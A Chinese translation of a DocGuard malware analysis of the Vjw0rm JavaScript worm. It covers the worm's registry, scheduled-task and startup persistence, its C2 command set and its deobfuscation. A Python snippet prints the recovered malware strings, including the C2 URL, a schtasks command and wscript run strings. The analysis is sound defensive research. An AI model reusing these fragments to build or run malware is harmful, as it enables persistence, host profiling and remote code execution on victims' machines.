原文标题:A Quick Analysis of Vjw0rm
原文地址:https://www.docguard.io/a-quick-analysis-of-vjw0rm/
翻译:梦幻的彼岸
jw0rm 是一种基于 javascript 的蠕虫病毒。根据我们的研究,Vjw0rm 在 2020-2021 年首次出现。
Vjw0rm 可以使用不同的命令执行操作。它与 C2 服务器通信,并根据接收到的命令在受感染计算机上执行一些操作。它还会向 C2 服务器发送计算机和用户名、AV 名称以及计算机的一些信息。
概述
持久性方法
- 注册表键
- 任务计划程序
- 开机启动
命令
- 文件操作
- Create
- Delete
- R/W/X
- 探索
- Operating System
- Computer Name
- User Name
- Anti Virus
网络活动
Vjw0rm 向 C2 服务器发送 POST 请求。它通过 UserAgent 向 C2 服务器发送计算机的基本信息。
POST [host]:[port]/Vre
User-Agent: [tag]\[logicaldiskserialnum]\[computername]\[username] \[osnamever]\[avdisplayname]\\[vbc_exist]\[prev_infected]\
钓鱼网站预览(第 1 部分)
执行 Vjw0rm(第 2 部分)
第一种持久性方法是注册表项:
第二种持久性方法是名为 Skype 的任务计划程序:
每 7 秒向 C2 服务器发出的 http 请求如下:
以下是 Vjw0rm 的网络流量:
Vjw0rm 的去混淆(第 3 部分)
Vjw0rm使用了复杂的反混淆机制,因此您可以参考下方的图像进行我们的分析。
当我们打开 Vjw0rm 恶意软件进行分析时,我们会看到以下经过混淆的 javascript 代码
如果我们稍微看一下代码,就会发现自定义函数被用于加密。现在,让我们按照这些命令接管解密过程。
首先,使用 javascript 代码中的 sPI 函数获取 Gcw 变量:
我们可以看到,变量 Gcw 实际上是字符串类型的 "构造函数"。继续分析,我们会发现 Xtc 其实又是一个解密函数。当用 sPI 函数再次解密变量 Xtc 时,会产生另一个解密函数,如下所示:
在解混淆的第二步,我们使用之前获得的两个解密函数进行两层解密。这一步解密完成后,我们会得到如下输出结果:
在这里,我们得到了第三个解密函数。由于函数的输出在经过某些数学运算后仍是 js 命令,因此使用 eval 函数将字符串值转换为实际的 js 命令。
当我们在第 2 阶段得到解密函数(函数 Ox\$)的返回值后,就进入了第 3 阶段。看起来这里的混淆过程有点复杂。因此,我们将这一阶段的代码分为四个部分。
在代码的开头,许多字符串中的 js 代码等待解密。实际上,这些值将在本部分的第 3 部分调用并解密。
第二部分包含恶意代码的关键字。我们可以将这一部分视为第三部分的起始代码。这一行是代码中唯一被调用的函数,它以执行解密的 \$af18392093 函数开始(显然,\$af18392093 函数本身也会执行解密,并通过 eval 变成另一个函数)。
第三部分是运行 Vjw0rm 的主要部分。我们将在下一篇文章中对这一部分进行详细的解密处理。简而言之,我们可以将其视为一种逐个参数运行的机制,以便以正确的格式获取第 4 部分获得的字符串。
最后,第 4 部分包含对变量 _\$_f3ce 进行第二次解密的加密函数。
使用这些部分(即第 4 部分)的函数解密后,_\$_f3ce 的值如下:
我们有 Vjw0rm 以简洁格式运行的关键字。但这个数组是无序的。我们无法直接连接并运行这些字符串。在这里,我们需要使用第 3 步第 3 部分中的代码。
如果我们再看一下第 3.3 步,就会发现变量 _\$_f3ce(实际上是数组)的索引总是被访问的。这意味着正确执行命令的实际代码就在这里。
第一步是替换 _\$_f3ce 索引,以查看完整版本。我们可以用下面的 Python 代码来实现:
```
import re
f3ce = ["WScript.Shell", "Scripting.FileSystemObject", "Shell.Application", "Microsoft.XMLHTTP", "HKCU", "HKLM", "HKCU\vjw0rm", "\Software\Microsoft\Windows\CurrentVersion\Run\", "HKLM\SOFTWARE\Classes\", "REG_SZ", "\defaulticon\", "winmgmts:", "win32_logicaldisk", "Win32_OperatingSystem", "AntiVirusProduct", "|V|", "\", "TD$$$", "", "ScriptFullName", "ScriptName", "RegRead", "split", ":\", "TRUE", "RegWrite", "FALSE", "Vre", "", "Cl", "Quit", "Sc", "temp", "CreateTextFile", "Write", "Close", "run", "Ex", "Rn", "OpenTextFile", "ReadAll", "replace", "wscript.exe //B \"", "\"", "Up", "|U|", "Un", "Temp", "1CYH0WDT4T", "%RgNe%", "%sfdr", "%n", "%f", "RF", "Sleep", "%", "ExpandEnvironmentStrings", "POST", "http://severdops.ddns.net:5050/", "open", "User-Agent:", "SetRequestHeader", "send", "responsetext", "Windir", "\Microsoft.NET\Framework\v2.0.50727\vbc.exe", "fileexists", "YES", "NO", "COMPUTERNAME", "USERNAME", "InstancesOf", "atEnd", "moveNext", "item", "Caption", "winmgmts:\\localhost\root\securitycenter", "DisplayName", "2", "volumeserialnumber", "AppData", "CopyFile", "Schtasks /create /sc minute /mo 30 /tn Skype /tr \"", "Path", "Self", "NameSpace", "DeviceID", "GetDrive", "IsReady", "DriveType", "FileExists", "attributes", "GetFile", "SubFolders", "GetFolder", " ", "name", ".lnk", "CreateShortCut", "WindowStyle", "TargetPath", "cmd.exe", "Arguments", "/c start ", "&start explorer ", "&exit", "HKLM\software\classes\folder\defaulticon\", "IconLocation", ",", "indexOf", "Save", "Files", ".", "lnk", "&start ", "length" ]
commands=""
with open("commands.txt","r") as file:
commands = file.read()
pattern = r'_\$_f3ce[\d+]'
matches = re.findall(pattern, commands)
for i in matches:
commands=commands.replace(i, '"'+eval(i[2:])+'"')
print(commands)
```
然后,让我们把 3.1 中的加密函数变得干净利落,如下所示:
解密:
最后,将这些值与 3.3 中的代码相匹配,我们就能看到 Vjw0rm 的实际指令机制。
Vjw0rm 会获取计算机名称、杀毒软件程序和用户名。它还会检查 C:\Windows\Microsoft.NET\Framework\v2.0.50727 下是否有 vbc.exe。如果存在,它将向 C2 服务器报告 "YES"。否则,它将报告 "NO"。
持久化过程就是在这里完成的。首先,它会创建一个名为 1CYH0WDT4T 的注册表项,然后安排一个名为 Skype 的任务,每 30 分钟运行一次 Vjw0rm。然后,使用 CopyFile 功能将恶意脚本复制到启动文件夹。
它会检查是否有系统已被入侵。根据检查结果,它会向服务器报告 “TRUE” 或“FALSE”。
此时,通过 http[:]//severdops.ddns.net:5050/Vre,开始与 C2 服务器通信:
根据服务器发送的指令,每7秒执行以下任务:
- Cl: 该参数用于停止脚本的执行。
- Sc: 将来自 C2 服务器的代码写入临时文件并执行。
- Ex: 执行 C2 服务器传输的代码。
- Rn: Vjw0rm 通过修改自身代码重新运行。
- Up: 创建并执行包含 javascript 代码的临时文件。
- Un: 允许删除恶意软件
- Rf: 与 SC 参数相同。
使用 DOCGuard 分析 Vjw0rm
钓鱼文件:
Vjw0rm 脚本文件:
IOC:
| sha256 | 639735428ba07b16525f2ac1bd7ec18c2767a68c8d6d1bf02c6b5a522971fff1 |
| ----------- | ------------------------------------------------------------------ |
| sha256 | 822b0e065dd9e5bb4441ab4e7641f73e34d240272b2c664141d07abdd0ed7f2d |
| URL | http[:]//sumitaiouchi.com/Payment |
| URL | https[:]//www.yogaoutreachproject.com/Spcifications |
| C2 Server | http[:]//severdops.ddns.net:5050/Vre |
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论